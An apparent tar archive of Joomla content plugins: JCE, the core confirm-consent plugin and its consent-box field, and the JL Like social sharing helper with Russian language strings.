					label="PLG_LOADMODULE_FIELD_STYLE_LABEL"
					description="PLG_LOADMODULE_FIELD_STYLE_DESC"
					default="table"
					>
					<option value="table">PLG_LOADMODULE_FIELD_VALUE_TABLE</option>
					<option value="horz">PLG_LOADMODULE_FIELD_VALUE_HORIZONTAL</option>
					<option value="xhtml">PLG_LOADMODULE_FIELD_VALUE_DIVS</option>
					<option value="rounded">PLG_LOADMODULE_FIELD_VALUE_MULTIPLEDIVS</option>
					<option value="none">PLG_LOADMODULE_FIELD_VALUE_RAW</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                       content/jce/jce.php                                                                                 0000705                 00000001010 15242051520 0010213 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

/**
 * @copyright   Copyright (C) 2015 Ryan Demmer. All rights reserved
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved
 * @license     GNU General Public License version 2 or later
 */
defined('JPATH_BASE') or die;

/**
 * JCE.
 *
 * @since       2.5.20
 */
class PlgContentJce extends JPlugin
{
    public function onContentPrepareForm($form, $data)
    {
        JFactory::getApplication()->triggerEvent('onPlgSystemJceContentPrepareForm', array($form, $data));
    }
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        content/jce/jce.xml                                                                                 0000705                 00000001604 15242051520 0010235 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="1.6" type="plugin" group="content" method="upgrade">
  <name>plg_content_jce</name>
  <version>2.8.3</version>
  <creationDate>15-01-2020</creationDate>
  <author>Ryan Demmer</author>
  <authorEmail>info@joomlacontenteditor.net</authorEmail>
  <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
  <copyright>Copyright (C) 2006 - 2020 Ryan Demmer. All rights reserved</copyright>
  <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
  <description>PLG_CONTENT_JCE_XML_DESCRIPTION</description>
  <files folder="plugins/content/jce">
    <file plugin="jce">jce.php</file>
  </files>

  <languages folder="administrator/language/en-GB">
      <language tag="en-GB">en-GB.plg_content_jce.ini</language>
      <language tag="en-GB">en-GB.plg_content_jce.sys.ini</language>
  </languages>
</extension>
                                                                                                                            content/confirmconsent/confirmconsent.php                                                           0000705                 00000003746 15242051520 0015011 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.confirmconsent
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;

/**
 * The Joomla Core confirm consent plugin
 *
 * @since  3.9.0
 */
class PlgContentConfirmConsent extends CMSPlugin
{
	/**
	 * The Application object
	 *
	 * @var    JApplicationSite
	 * @since  3.9.0
	 */
	protected $app;

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * The supported form contexts
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $supportedContext = array(
		'com_contact.contact',
		'com_mailto.mailto',
		'com_privacy.request',
	);

	/**
	 * Add additional fields to the supported forms
	 *
	 * @param   JForm  $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onContentPrepareForm(JForm $form, $data)
	{
		if ($this->app->isClient('administrator') || !in_array($form->getName(), $this->supportedContext))
		{
			return true;
		}

		// Get the consent box Text & the selected privacyarticle
		$consentboxText  = (string) $this->params->get('consentbox_text', Text::_('PLG_CONTENT_CONFIRMCONSENT_FIELD_NOTE_DEFAULT'));
		$privacyArticle  = $this->params->get('privacy_article', false);

		$form->load('
			<form>
				<fieldset name="default" addfieldpath="/plugins/content/confirmconsent/fields">
					<field
						name="consentbox"
						type="consentbox"
						articleid="' . $privacyArticle . '"
						label="PLG_CONTENT_CONFIRMCONSENT_CONSENTBOX_LABEL"
						required="true"
						>
						<option value="0">' . htmlspecialchars($consentboxText, ENT_COMPAT, 'UTF-8') . '</option>
					</field>
				</fieldset>
			</form>'
		);

		return true;
	}
}
                          content/confirmconsent/confirmconsent.xml                                                           0000705                 00000003067 15242051520 0015016 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="content" method="upgrade">
	<name>plg_content_confirmconsent</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_CONTENT_CONFIRMCONSENT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="confirmconsent">confirmconsent.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_confirmconsent.ini</language>
		<language tag="en-GB">en-GB.plg_content_confirmconsent.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic" addfieldpath="/administrator/components/com_content/models/fields">
				<field
					name="consentbox_text"
					type="textarea"
					label="PLG_CONTENT_CONFIRMCONSENT_FIELD_NOTE_LABEL"
					description="PLG_CONTENT_CONFIRMCONSENT_FIELD_NOTE_DESC"
					hint="PLG_CONTENT_CONFIRMCONSENT_FIELD_NOTE_DEFAULT"
					class="span12"
					rows="7"
					cols="20"
					filter="html"
				/>

				<field
					name="privacy_article"
					type="modal_article"
					label="PLG_CONTENT_CONFIRMCONSENT_FIELD_ARTICLE_LABEL"
					description="PLG_CONTENT_CONFIRMCONSENT_FIELD_ARTICLE_DESC"
					select="true"
					new="true"
					edit="true"
					clear="true"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                         content/confirmconsent/fields/consentbox.php                                                        0000705                 00000015164 15242051520 0015407 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.confirmconsent
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

JFormHelper::loadFieldClass('Checkboxes');

/**
 * Consentbox Field class for the Confirm Consent Plugin.
 *
 * @since  3.9.1
 */
class JFormFieldConsentBox extends JFormFieldCheckboxes
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.1
	 */
	protected $type = 'ConsentBox';

	/**
	 * Flag to tell the field to always be in multiple values mode.
	 *
	 * @var    boolean
	 * @since  3.9.1
	 */
	protected $forceMultiple = false;

	/**
	 * The article ID.
	 *
	 * @var    integer
	 * @since  3.9.1
	 */
	protected $articleid;

	/**
	 * Method to set certain otherwise inaccessible properties of the form field object.
	 *
	 * @param   string  $name   The property name for which to set the value.
	 * @param   mixed   $value  The value of the property.
	 *
	 * @return  void
	 *
	 * @since   3.9.1
	 */
	public function __set($name, $value)
	{
		switch ($name)
		{
			case 'articleid':
				$this->articleid = (int) $value;
				break;

			default:
				parent::__set($name, $value);
		}
	}

	/**
	 * Method to get certain otherwise inaccessible properties from the form field object.
	 *
	 * @param   string  $name  The property name for which to get the value.
	 *
	 * @return  mixed  The property value or null.
	 *
	 * @since   3.9.1
	 */
	public function __get($name)
	{
		switch ($name)
		{
			case 'articleid':
				return $this->$name;
		}

		return parent::__get($name);
	}

	/**
	 * Method to attach a JForm object to the field.
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control value. This acts as an array container for the field.
	 *                                      For example if the field has name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being "bar[foo]".
	 *
	 * @return  boolean  True on success.
	 *
	 * @see     JFormField::setup()
	 * @since   3.9.1
	 */
	public function setup(SimpleXMLElement $element, $value, $group = null)
	{
		$return = parent::setup($element, $value, $group);

		if ($return)
		{
			$this->articleid = (int) $this->element['articleid'];
		}

		return $return;
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.9.1
	 */
	protected function getLabel()
	{
		if ($this->hidden)
		{
			return '';
		}

		$data = $this->getLayoutData();

		// Forcing the Alias field to display the tip below
		$position = $this->element['name'] == 'alias' ? ' data-placement="bottom" ' : '';

		// When we have an article let's add the modal and make the title clickable
		if ($data['articleid'])
		{
			$attribs['data-toggle'] = 'modal';

			$data['label'] = HTMLHelper::_(
				'link',
				'#modal-' . $this->id,
				$data['label'],
				$attribs
			);
		}

		// Here mainly for B/C with old layouts. This can be done in the layouts directly
		$extraData = array(
			'text'     => $data['label'],
			'for'      => $this->id,
			'classes'  => explode(' ', $data['labelclass']),
			'position' => $position,
		);

		return $this->getRenderer($this->renderLabelLayout)->render(array_merge($data, $extraData));
	}

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.9.2
	 */
	protected function getInput()
	{
		$modalHtml  = '';
		$layoutData = $this->getLayoutData();

		if ($this->articleid)
		{
			$modalParams['title']  = $layoutData['label'];
			$modalParams['url']    = $this->getAssignedArticleUrl();
			$modalParams['height'] = 800;
			$modalParams['width']  = '100%';
			$modalHtml = HTMLHelper::_('bootstrap.renderModal', 'modal-' . $this->id, $modalParams);
		}

		return $modalHtml . parent::getInput();
	}

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since   3.9.1
	 */
	protected function getLayoutData()
	{
		$data = parent::getLayoutData();

		$extraData = array(
			'articleid' => (integer) $this->articleid,
		);

		return array_merge($data, $extraData);
	}

	/**
	 * Return the url of the assigned article based on the current user language
	 *
	 * @return  string  Returns the link to the article
	 *
	 * @since   3.9.1
	 */
	private function getAssignedArticleUrl()
	{
		$db = Factory::getDbo();

		// Get the info from the article
		$query = $db->getQuery(true)
			->select($db->quoteName(array('id', 'catid', 'language')))
			->from($db->quoteName('#__content'))
			->where($db->quoteName('id') . ' = ' . (int) $this->articleid);
		$db->setQuery($query);

		try
		{
			$article = $db->loadObject();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			// Something at the database layer went wrong
			return Route::_(
				'index.php?option=com_content&view=article&id='
				. $this->articleid . '&tmpl=component'
			);
		}

		if (!is_object($article))
		{
			// We have not found the article object lets show a 404 to the user
			return Route::_(
				'index.php?option=com_content&view=article&id='
				. $this->articleid . '&tmpl=component'
			);
		}

		// Register ContentHelperRoute
		JLoader::register('ContentHelperRoute', JPATH_BASE . '/components/com_content/helpers/route.php');

		if (!Associations::isEnabled())
		{
			return Route::_(
				ContentHelperRoute::getArticleRoute(
					$article->id,
					$article->catid,
					$article->language
				) . '&tmpl=component'
			);
		}

		$associatedArticles = Associations::getAssociations('com_content', '#__content', 'com_content.item', $article->id);
		$currentLang        = Factory::getLanguage()->getTag();

		if (isset($associatedArticles) && $currentLang !== $article->language && array_key_exists($currentLang, $associatedArticles))
		{
			return Route::_(
				ContentHelperRoute::getArticleRoute(
					$associatedArticles[$currentLang]->id,
					$associatedArticles[$currentLang]->catid,
					$associatedArticles[$currentLang]->language
				) . '&tmpl=component'
			);
		}

		// Association is enabled but this article is not associated
		return Route::_(
			'index.php?option=com_content&view=article&id='
				. $article->id . '&catid=' . $article->catid
				. '&tmpl=component&lang=' . $article->language
		);
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                            content/jllike/helper.php                                                                           0000705                 00000041750 15242051520 0011461 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

/**
 * jllike
 *
 * @version 4.0.0
 * @author Vadim Kunicin (vadim@joomline.ru), Arkadiy (a.sedelnikov@gmail.com)
 * @copyright (C) 2010-2019 by Joomline (http://www.joomline.ru)
 * @license GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 **/
defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

jimport('joomla.plugin.plugin');

if (version_compare(JVERSION, '3.5.0', 'ge')) {
    if (!class_exists('StringHelper1')) {
        class StringHelper1 extends \Joomla\String\StringHelper
        { }
    }
    if (!class_exists('JRegistry')) {
        class JRegistry extends Joomla\Registry\Registry
        { }
    }
} else {
    if (!class_exists('StringHelper1')) {
        jimport('joomla.string.string');
        class StringHelper1 extends JString
        { }
    }
}

class PlgJLLikeHelper
{
    var $params = null;

    protected static $instance = null;

    /**
     * Пример вывода лайков в любом месте макетов, шаблонов и т.п.
     * require_once JPATH_ROOT .'plugins/content/jllike/helper.php';
     * $helper = PlgJLLikeHelper::getInstance();
     * $helper->loadScriptAndStyle(0); //1-если в категории, 0-если в контенте
     * echo $helper->ShowIN($id, $link, $title, $image, $desc, $enable_opengraph);
     */


    function __construct($params = null)
    {
        $this->params = $params;
    }

    public static function getInstance($params = null, $folder = 'content', $plugin = 'jllike')
    {
        if (self::$instance === null) {
            if (!$params) {
                $params = self::getPluginParams($folder, $plugin);
            }
            self::$instance = new PlgJLLikeHelper($params);
        }

        return self::$instance;
    }

    /**
     * Кнопки шары
     * @param $id не нужный параметр, на будущее
     * @return string
     */
    function ShowIn($id, $link = '', $title = '', $image = '', $desc = '', $enable_opengraph = 1)
    {
        JPluginHelper::importPlugin('content', 'jllike');

        $position_content = $this->params->get('position_content', 0);
        $enableCounters = (int) $this->params->get('enableCounters', 1);

        if ($position_content == 1) {
            $position_buttons = '_right';
        } else if ($position_content == 0) {
            $position_buttons = '_left';
        } else if ($position_content == 2) {
            $position_buttons = '_center';
        } else {
            $position_buttons = '';
        }

        if (empty($image)) {
            $image = trim($this->params->get('default_image', ''));
            $image = !empty($image) ? JUri::root() . $image : '';
        }

        $desc = $this->cleanText($desc);
        $desc = $this->limittext($desc, 200);
        $title = $this->cleanText($title);

        if ($enable_opengraph) {
            $this->addOpenGraphTags($title, $desc, $image, $link);
        }
        
        $titlefc = JText::_('PLG_JLLIKEPRO_TITLE_FC');
        $titlevk = JText::_('PLG_JLLIKEPRO_TITLE_VK');
        $titletw = JText::_('PLG_JLLIKEPRO_TITLE_TW');
        $titleod = JText::_('PLG_JLLIKEPRO_TITLE_OD');
        $titlemm = JText::_('PLG_JLLIKEPRO_TITLE_MM');
        $titleli = JText::_('PLG_JLLIKEPRO_TITLE_LI');
        $titlepi = JText::_('PLG_JLLIKEPRO_TITLE_PI');
        $titlelj = JText::_('PLG_JLLIKEPRO_TITLE_LJ');
        $titlebl = JText::_('PLG_JLLIKEPRO_TITLE_BL');
        $titlewb = JText::_('PLG_JLLIKEPRO_TITLE_WB');
        $titletl = JText::_('PLG_JLLIKEPRO_TITLE_TL');
        $titlewa = JText::_('PLG_JLLIKEPRO_TITLE_WA');
        $titlevi = JText::_('PLG_JLLIKEPRO_TITLE_VI');
        $titleAll = JText::_('PLG_JLLIKEPRO_TITLE_ALL');

        $providers = array();
        if ($this->params->get('addfacebook', 1)) {
            $order = $this->params->get('facebook_order', 1);
            $providers[$order] = array('title' => $titlefc, 'class' => 'fb');
        }
        if ($this->params->get('addvk', 1)) {
            $order = $this->params->get('vk_order', 2);
            $providers[$order] = array('title' => $titlevk, 'class' => 'vk');
        }
        if ($this->params->get('addtw', 1)) {
            $order = $this->params->get('tw_order', 3);
            $providers[$order] = array('title' => $titletw, 'class' => 'tw');
        }
        if ($this->params->get('addod', 1)) {
            $order = $this->params->get('od_order', 4);
            $providers[$order] = array('title' => $titleod, 'class' => 'ok');
        }
        if ($this->params->get('addmail', 1)) {
            $order = $this->params->get('mail_order', 5);
            $providers[$order] = array('title' => $titlemm, 'class' => 'ml');
        }
        if ($this->params->get('addlin', 1)) {
            $order = $this->params->get('lin_order', 6);
            $providers[$order] = array('title' => $titleli, 'class' => 'ln');
        }
        if ($this->params->get('addpi', 1)) {
            $order = $this->params->get('pi_order', 7);
            $providers[$order] = array('title' => $titlepi, 'class' => 'pinteres');
        }
        if ($this->params->get('addlj', 1)) {
            $order = $this->params->get('lj_order', 8);
            $providers[$order] = array('title' => $titlelj, 'class' => 'lj');
        }
        if ($this->params->get('addbl', 1)) {
            $order = $this->params->get('bl_order', 9);
            $providers[$order] = array('title' => $titlebl, 'class' => 'bl');
        }
        if ($this->params->get('addwb', 1)) {
            $order = $this->params->get('wb_order', 10);
            $providers[$order] = array('title' => $titlewb, 'class' => 'wb');
        }
        if ($this->params->get('addtl', 1)) {
            $order = $this->params->get('tl_order', 11);
            $providers[$order] = array('title' => $titletl, 'class' => 'tl');
        }
        if ($this->params->get('addwa', 1)) {
            $order = $this->params->get('wa_order', 12);
            $providers[$order] = array('title' => $titlewa, 'class' => 'wa');
        }
        if ($this->params->get('addvi', 1)) {
            $order = $this->params->get('vi_order', 13);
            $providers[$order] = array('title' => $titlevi, 'class' => 'vi');
        }

        ksort($providers);
        reset($providers);

        $scriptPage = '';
        $scriptPage .= <<<HTML
				<div class="jllikeproSharesContayner jllikepro_{$id}">
				<input type="hidden" class="link-to-share" id="link-to-share-$id" value="$link"/>
				<input type="hidden" class="share-title" id="share-title-$id" value="$title"/>
				<input type="hidden" class="share-image" id="share-image-$id" value="$image"/>
				<input type="hidden" class="share-desc" id="share-desc-$id" value="$desc"/>
				<input type="hidden" class="share-id" value="{$id}"/>
HTML;

        if ($this->params->get('disable_more_likes', 0) && !empty($_COOKIE['jllikepro_article_' . $id])) {
            $scriptPage .= '<div class="disable_more_likes"></div>';
        }

        $buttonText = StringHelper1::trim($this->params->get('button_text', ''));

        if (!empty($buttonText)) {
            $scriptPage .= '<div class="button_text likes-block' . $position_buttons . '">' . $buttonText . '</div>';
        }

        $scriptPage .= <<<HTML

				<div class="event-container" >
				<div class="likes-block$position_buttons">
HTML;

        foreach ($providers as $v) {
            $scriptPage .= <<<HTML
					<a title="{$v['title']}" class="like l-{$v['class']}" id="l-{$v['class']}-$id">
					<i class="l-ico"></i>
					<span class="l-count"></span>
					</a>
HTML;
        }

        if ($this->params->get('addall', 1) && $enableCounters) {
            $scriptPage .= <<<HTML
					<a title="$titleAll" class="l-all" id="l-all-$id">
					<i class="l-ico"></i>
					<span class="l-count l-all-count" id="l-all-count-$id">0</span>
					</a>
HTML;
        }
        $scriptPage .= <<<HTML
					</div>
				</div>
			</div>
HTML;

        return $scriptPage;
    }



    /**
     * Загрузка скриптов и стилей
     * @param $articleText
     */
    function loadScriptAndStyle($isCategory = 1)
    {
        if (defined('JLLIKEPRO_SCRIPT_LOADED'))
            return;

        define('JLLIKEPRO_SCRIPT_LOADED', 1);

        $doc = JFactory::getDocument();

        $isCategory = (int) $isCategory;

        $prefix = (JFactory::getConfig()->get('force_ssl') == 2) ? 'https://' : 'http://';
        $url = $prefix . $this->params->get('pathbase', '') . str_replace('www.', '', $_SERVER['HTTP_HOST']);

        $enableCounters = (int) $this->params->get('enableCounters', 1);

        $script = <<<SCRIPT
            var jllickeproSettings = {
                url : "$url",
                typeGet : "{$this->params->get('typesget', 0)}",
                enableCounters : $enableCounters,
                disableMoreLikes : {$this->params->get('disable_more_likes', 0)},
                isCategory : $isCategory,
                buttonsContayner : "{$this->params->get('buttons_contayner', '')}",
                parentContayner : "{$this->params->get('parent_contayner', 'div.jllikeproSharesContayner')}",
            };
SCRIPT;

        $doc->addScriptDeclaration($script);

        JHtml::_('jquery.framework');     
		
		HTMLHelper::_('script', 'plugins/content/jllike/js/buttons.min.js', array('version' => 'auto'));

        if ($this->params->get('enable_twit', 0)) {
			HTMLHelper::_('script', 'plugins/content/jllike/js/twit.min.js', array('version' => 'auto'));
        }

		HTMLHelper::_('stylesheet', 'plugins/content/jllike/js/buttons.min.css', array('version' => 'auto'));      

        $btn_border_radius = (int) $this->params->get('btn_border_radius', 15);
        $btn_dimensions = (int) $this->params->get('btn_dimensions', 30);
        $btn_margin = (int) $this->params->get('btn_margin', 6);
        $font_size = (float) $this->params->get('font_size', 1);
        $doc->addStyleDeclaration('
            .jllikeproSharesContayner a {border-radius: ' . $btn_border_radius . 'px; margin-left: ' . $btn_margin . 'px;}
            .jllikeproSharesContayner i {width: ' . $btn_dimensions . 'px;height: ' . $btn_dimensions . 'px;}
            .jllikeproSharesContayner span {height: ' . $btn_dimensions . 'px;line-height: ' . $btn_dimensions . 'px;font-size: ' . $font_size . 'rem;}
        ');

        if (!$isCategory && $this->params->get('enable_fix_buttons', 1) == 1) {
            $doc->addStyleDeclaration('
                .jllikeproSharesContayner {position: fixed; left: 0; top: auto;}
                .jllikeproSharesContayner .event-container>div {display: flex; flex-direction: column;}
            ');
        }

        if (!$isCategory && $this->params->get('enable_mobile_css', 1) == 1) {
            $doc->addStyleDeclaration('
            @media screen and (max-width:800px) {
                .jllikeproSharesContayner {position: fixed;right: 0;bottom: 0; z-index: 999999; background-color: #fff!important;width: 100%;}
                .jllikeproSharesContayner .event-container > div {border-radius: 0; padding: 0; display: block;}
                .like .l-count {display:none}
                .jllikeproSharesContayner a {border-radius: 0!important;margin: 0!important;}
                .l-all-count {margin-left: 10px; margin-right: 10px;}
                .jllikeproSharesContayner i {width: 44px!important; border-radius: 0!important;}
                .l-ico {background-position: 50%!important}
                .likes-block_left {text-align:left;}
                .likes-block_right {text-align:right;}
                .likes-block_center {text-align:center;}
                .button_text {display: none;}
            }
            ');
        }
    }

    function getShareText($metadesc, $introtext, $text)
    {
        $desc_source_one = $this->params->get('desc_source_one', 'desc');
        $desc_source_two = $this->params->get('desc_source_two', 'full');
        $desc_source_three = $this->params->get('desc_source_three', 'meta');

        switch ($desc_source_one) {
            case 'full':
                $source_one = $text;
                break;
            case 'meta':
                $source_one = $metadesc;
                break;
            default:
                $source_one = $introtext;
                break;
        }

        switch ($desc_source_two) {
            case 'desc':
                $source_two = $introtext;
                break;
            case 'meta':
                $source_two = $metadesc;
                break;
            default:
                $source_two = $text;
                break;
        }

        switch ($desc_source_three) {
            case 'desc':
                $source_three = $introtext;
                break;
            case 'full':
                $source_three = $text;
                break;
            default:
                $source_three = $metadesc;
                break;
        }

        $source_one = trim($source_one);
        $source_two = trim($source_two);
        $source_three = trim($source_three);

        $desc = '';

        if (!empty($source_one)) {
            $desc = $source_one;
        } else if (!empty($source_two)) {
            $desc = $source_two;
        } else if (!empty($source_three)) {
            $desc = $source_three;
        }

        return $desc;
    }

    private function cleanText($text)
    {
        $clear_plugin_tags = $this->params->get('clear_plugin_tags', 1);
        $text = strip_tags($text);
        $text = preg_replace('/&nbsp;/', ' ', $text);
        $text = str_replace("\n", ' ', $text);

        if ($clear_plugin_tags) {
            $text = preg_replace('/\[.+?\]/', '', $text);
            $text = preg_replace('/{.+?}/', '', $text);
        }

        $text = htmlspecialchars($text, ENT_QUOTES);
        $text = preg_replace('/&amp;amp;/', '&amp;', $text);

        return $text;
    }

    private static function getPluginParams($folder = 'content', $name = 'jllike')
    {
        $plugin = JPluginHelper::getPlugin($folder, $name);
        if (!$plugin) {
            throw new RuntimeException(JText::_('JLLIKEPRO_PLUGIN_NOT_FOUND'));
        }
        $params = new JRegistry($plugin->params);
        return $params;
    }

    public static function extractImageFromText($introtext, $fulltext = '')
    {
        jimport('joomla.filesystem.file');

        $regex = '#<\s*img [^\>]*src\s*=\s*(["\'])(.*?)\1#im';

        preg_match($regex, $introtext, $matches);

        if (!count($matches)) {
            preg_match($regex, $fulltext, $matches);
        }

        $images = (count($matches)) ? $matches : array();

        $image = '';

        if (count($images)) {
            $image = $images[2];
        }

        if (!empty($image)) {
            if (!preg_match("#^http|^https|^ftp#i", $image)) {
                $image = JFile::exists(JPATH_SITE . '/' . $image) ? $image : '';

                if (strpos($image, '/') === 0) {
                    $image = substr($image, 1);
                }

                $image = JURI::root() . $image;
            }
        } else {
            $image = '';
        }

        return $image;
    }

    private function limittext($wordtext, $maxchar)
    {
        $text = '';
        $textLength = StringHelper1::strlen($wordtext);

        if ($textLength <= $maxchar) {
            return $wordtext;
        }

        $words = explode(' ', $wordtext);

        foreach ($words as $word) {
            if (StringHelper1::strlen($text . ' ' . $word) > $maxchar - 1) {
                break;
            }
            $text .= ' ' . $word;
        }

        return $text;
    }

    private function addOpenGraphTags($title = '', $text = '', $image = '', $url = '')
    {
        $doc = JFactory::getDocument();

        $doc->setMetaData('og:type', 'article');

        if ($image) {
            $doc->setMetaData('og:image', $image);
            JFactory::getApplication()->setUserState('jllike.image', $image);
        }

        if ($title)
            $doc->setMetaData('og:title', $title);
        if ($text)
            $doc->setMetaData('og:description', $text);
        if ($url)
            $doc->setMetaData('og:url', $url);
    }

    public function getVMImage($id)
    {
        $db = JFactory::getDbo();
        $image = '';
        $query = $db->getQuery(true);
        $query->select('`file_url`')
            ->from('#__virtuemart_medias as m')
            ->from('#__virtuemart_product_medias as pm')
            ->where('pm.virtuemart_product_id = ' . (int) $id)
            ->where('pm.virtuemart_media_id = m.virtuemart_media_id')
            ->order('pm.ordering ASC');
        $db->setQuery($query, 0, 1);
        $res = $db->loadResult();

        if ($res) {
            $image = JURI::root() . $res;
        }
        return $image;
    }
}
                        content/jllike/language/ru-RU/ru-RU.plg_content_jllike.sys.ini                                      0000705                 00000001520 15242051520 0020352 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PLG_JLLIKE_DESC_ALL="<p>Плагин социальных кнопок Joomla. Подробнее о настройке плагина вы можете прочитать на <a target="_blank" href="https://joomline.ru/rasshirenija/plugin/jllike.html">официальной странице</a>.</p><p>Для поддержки расширений: K2, JoomShopping, ADSManager. Активируйте плагины интеграции.</p><h3>Пожертвуй на развитие плагина JL Like</h3><p>Расширение развивается и существует исключительно на пожертвования пользователей.</p><div><iframe frameborder='0' allowtransparency='true' scrolling='no' src='https://joomline.ru/donatenew.html?solution=JLLike' width='100%' height='800'></iframe></div>"                                                                                                                                                                                content/jllike/language/ru-RU/ru-RU.plg_content_jllike.ini                                          0000705                 00000033604 15242051520 0017545 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PLG_JLLIKEPRO_SETTINGS_CONTENT = "Настройки com_content"
PLG_JLLIKEPRO_AUTOADD_LABEL = "Автодобавление"
PLG_JLLIKEPRO_AUTOADD_DESC = "Укажите нужно ли автоматически добавлять форму кнопок к каждой статье"
PLG_JLLIKEPRO_EXCLUDE_CATEGORY_LABEL = "Исключить категории"
PLG_JLLIKEPRO_EXCLUDE_CATEGORY_DESC = "Укажите категории в которых не будут добавляться социальные кнопки"
PLG_JLLIKEPRO_YES = "Да"
PLG_JLLIKEPRO_NO = "Нет"
PLG_JLLIKEPRO_POSITION_LABEL = "Расположение"
PLG_JLLIKEPRO_POSITION_DESC = "Укажите расположение кнопок относительно границ"
PLG_JLLIKEPRO_RIGHT="Справа"
PLG_JLLIKEPRO_LEFT="Слева"
PLG_JLLIKEPRO_SETTINGS_K2 = "Настройки K2"
PLG_JLLIKEPRO_CATEGORY_K2_LABEL = "Выбрать категории компонента K2"
PLG_JLLIKEPRO_SHOW_LABEL = "Выводить"
PLG_JLLIKEPRO_SHOW_DESC = "Укажите желаемый блок для вывода"
PLG_JLLIKEPRO_SHOW_TEXT = "Под текстом"
PLG_JLLIKEPRO_SHOW_FOOTER = "В подвале"
PLG_JLLIKEPRO_SHOW_NO = "Нет"
PLG_JLLIKEPRO_METKAVMON_LABEL = "Включить ручной вывод"
PLG_JLLIKEPRO_METKAVMON_DESC = "Включить ручной вывод"
PLG_JLLIKEPRO_METKAVM_LABEL = "Укажите место вывода плагина"
PLG_JLLIKEPRO_METKAVM_DESC = "Укажите блок например: div или p... а так же класс блока: div.test или p.test, где .test - класс блока для вывода кнопок в произвольном месте страницы (в куазанном вами блоке). Оставьте пустым чтобы не использовать эту возможность. При использовании указанный блок должен присутствовать в html коде страницы."
PLG_JLLIKEPRO_DOP = "Дополнительные настройки"

PLG_JLLIKEPRO_SETTINGS_VIRTUEMART = "Настройки VirtueMart"
PLG_JLLIKEPRO_AUTOADD_DESC_VIRTUEMART = "Укажите нужно ли автоматически добавлять социальные кнопки к каждому описанию товара"

PLG_JLLIKEPRO_SETTINGS_ADSMANAGER = "Настройки AdsManager"
PLG_JLLIKEPRO_SETTINGS_JSHOPMANAGER = "Настройки JoomShopping"

PLG_JLLIKEPRO_SOCIAL_SHARE_TOP = "Наверху"
PLG_JLLIKEPRO_SOCIAL_SHARE_MIDDLE = "В центре"
PLG_JLLIKEPRO_SOCIAL_SHARE_BOTTOM = "Внизу"
PLG_JLLIKEPRO_SOCIAL_SHARE_POSITION = "Выберите позицию вывода плагина"
PLG_JLLIKEPRO_SOCIAL_SHARE_POSITION_DESC = "Выберите позицию вывода плагина: Наверху - под названием, в центре - после кнопки добавления в корзину, внизу - блок социальных кнопок."
PLG_JLLIKEPRO_SETTINGS = "Настройки вывода"
PLG_JLLIKEPRO_LOADLIBS_LABEL = "Секция загрузки библиотек"
PLG_JLLIKEPRO_LOADLIBS_DESC = "Попробуйте переключиться на секцию 2 если у вас возникают конфликты JS на странице вывода кнопок."
PLG_JLLIKEPRO_SEC1 = "Секция 1"
PLG_JLLIKEPRO_SEC2 = "Секция 2"
PLG_JLLIKEPRO_TYPESGET_LABEL = "Тип получения данных"
PLG_JLLIKEPRO_TYPESGET_DESC = "Выберите предпочтительный тип получения данных из соц. сетей."
PLG_JLLIKEPRO_FILEGET = "file_get_content()"
PLG_JLLIKEPRO_CURL = "CURL()"

PLG_JLLIKEPRO_PRIORITE_DOMEN_LABEL = "Укажите приоритетный домен"
